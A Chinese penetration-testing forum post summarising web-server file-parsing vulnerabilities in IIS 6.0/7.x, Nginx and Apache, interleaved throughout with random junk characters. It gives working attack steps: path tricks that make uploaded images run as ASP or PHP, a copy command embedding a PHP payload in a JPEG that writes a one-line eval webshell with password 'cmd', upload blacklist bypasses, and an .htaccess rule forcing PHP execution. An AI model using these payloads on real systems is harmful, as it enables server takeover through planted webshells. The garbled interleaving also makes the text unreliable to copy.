中国网络渗透测试联盟
标题:
常见服务器解析漏洞总结
[打印本页]
作者:
admin
时间:
2013-4-19 19:14
标题:
常见服务器解析漏洞总结
Author : laterain
( ]$ V+ S% x$ C9 _
[+]IIS6.0
0 o( D2 P/ k0 k3 N" e# m2 I4 {
7 V. s! ~8 Y8 c5 s- ~
目录解析:/xx.asp/xx.jpg
* \5 F, Z# n$ i
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
9 ~+ ]; j( J+ ?3 P' M3 d$ t) f" u
IIS6.0 会将 xx.jpg 解析为 asp 文件。
6 F/ k' z4 [- x& c, e
后缀解析:/xx.asp;.jpg
9 n7 y1 \0 W2 U8 b, u
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
( O; s1 B+ ~+ a# Q
默认解析:/xx.asa
4 P' P6 [" x! z$ e* T+ z0 E" S. T1 s
/xx.cer
1 U& `+ K2 j, j1 ?( F
/xx.cdx
8 s% [& r, K9 E1 T, b+ p2 Y5 l1 C6 n
IIS6.0 默认的可执行文件除了 asp 还包含这三种
- v" H3 p1 Q2 h2 H
此处可联系利用目录解析漏洞
; _, g0 H7 q9 w/ n9 w* D! }4 H
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
/ ?6 g) g' F9 q) v
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
5 a7 V4 c5 v+ f% D3 n
f7 o4 v9 G+ B; S! O1 j
IIS 7.0/IIS 7.5/Nginx <0.8.03
4 A" l" {# H3 J1 Y1 c
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
+ O' s7 ~6 u' V0 N1 }% @ ]& R
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
) O; m [* ^5 c) G" a. s# y6 w
常用利用方法:
$ I+ t+ o& c- M
将一张图和一个写入后门代码的文本文件合并将恶意文本
3 s( b: J2 R" ]
写入图片的二进制代码之后,避免破坏图片文件头和尾
8 p" h+ J7 p" N
如:
a6 k$ b3 x, y5 z
copy xx.jpg /b + yy.txt/a xy.jpg
+ ^0 S4 B0 z! Y1 P" _# q
#########################################################
; J( } v0 T" F% G1 m
/b 即二进制[binary]模式
0 G4 E$ K1 y1 B+ b- v: p
/a 即ascii模式
7 E$ E/ t; W) b4 S
xx.jpg 正常图片文件
9 M, p9 r0 r" p* \2 f
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
7 M& Y& ?3 |* Q7 |( Z( D5 |
'<?php eval($_POST[cmd])?>');?>
2 Y3 y, d- s; n9 ]8 p2 A2 @
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
3 w/ y$ Y( c: H6 }) h. ^+ N: \
为shell.php的文件
; W( o, Y% @& c1 |! z
###########################################################
& ^9 _; t/ F% j- x, w; ~
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
1 Z3 y" O9 c* L" e% Q
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
4 V6 I3 c* n1 @% ?3 h# O# Q# g
密码 cmd
7 ~& a' |8 l- h+ ~* }& Q2 z
[+]Nginx <0.8.03
5 S% v, T6 \7 a2 P T5 l* w
" G4 H* ^- T9 P- Q& j. m
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
+ ]' w% h% r5 b& S9 r4 ~
在一个文件路径(/xx.jpg)后面加上%00.php
. m* p& R x; Q ]: r# y6 N7 o
会将 /xx.jpg%00.php 解析为 php 文件。
$ j- l/ i# A) G7 U( s: f
[+]Apache<0.8.03
' T2 b* r! {6 D7 g2 y: L( h
2 i: |5 J" M* c1 g1 x
后缀解析:test.php.x1.x2.x3
7 M. T; i' ?# M. L& r
Apache将从右至左开始判断后缀,若x3非可识别后缀,
9 l3 x1 o; J y
再判断x2,直到找到可识别后缀为止,然后将该可识别
+ L# o9 B0 ?( D, r
后缀进解析test.php.x1.x2.x3 则会被解析为php
1 J' ^' h" }7 k, S/ _
经验之谈:php|php3|phtml 多可被Apache解析。
. z; Q6 Z. J; c3 _) N/ p
[+]其他一些可利用的
. C/ L* z3 `- [7 t3 F" D* G! a
% |% L; k: [7 Y- t: t, k
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
1 A0 I5 w% Q6 l9 y& G h3 n1 R
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
5 F) n2 H1 C' E7 q
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
8 o! E$ j; [4 s
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
, q3 S1 R% l. t7 B) L4 l
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
/ M0 t1 }& V ?4 K0 |) d$ z
{Linux主机中不行,Linux允许这类文件存在}
; O5 @: ]( _% {! ^" L# m+ _
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
! ~" e6 z. J3 I3 P
的,当初我并不知道),且可以被上传,那可以尝试在
% N# i$ `0 |9 q1 s* A0 i
.htaccess中写入:
- q5 y, ?+ Q$ B D6 F
<FilesMatch “shell.jpg”>
2 u H1 [, G1 G
SetHandler application/x-httpd-php
. T. n, c6 g" | r4 M/ l
</FilesMatch>
" ^! b4 B' x9 M) ]2 i
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
: K& l0 d/ w' A8 X# ]2 _
[+]错误修改
% c7 J- q; Q, t. p! E, y
$ i$ }- Y i- A" m* E
在 IIS 6.0 下可解析 /xx.asp:.jpg
j+ L3 `& \0 Z" e- K! K
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
) m: `$ [) \6 E7 d8 H Q2 l: ~: h
剩下/xx.asp}修改:
' P1 k6 y) m+ H: J1 L
先谢谢核攻击的提醒
( z1 s9 G e- h! }4 n
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
+ N. _# n$ N/ s T
里是没有任何内容的,因为。。不好解释 大家自己看
$ g/ `8 Y3 N6 C6 B; E* t
http://lcx.cc/?i=2448
+ ` U: a: P1 s, i
http://baike.baidu.com/view/3619593.htm
+ m% n: v0 q- P% P8 _; e$ t2 l. F
- J g5 L+ \6 k
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2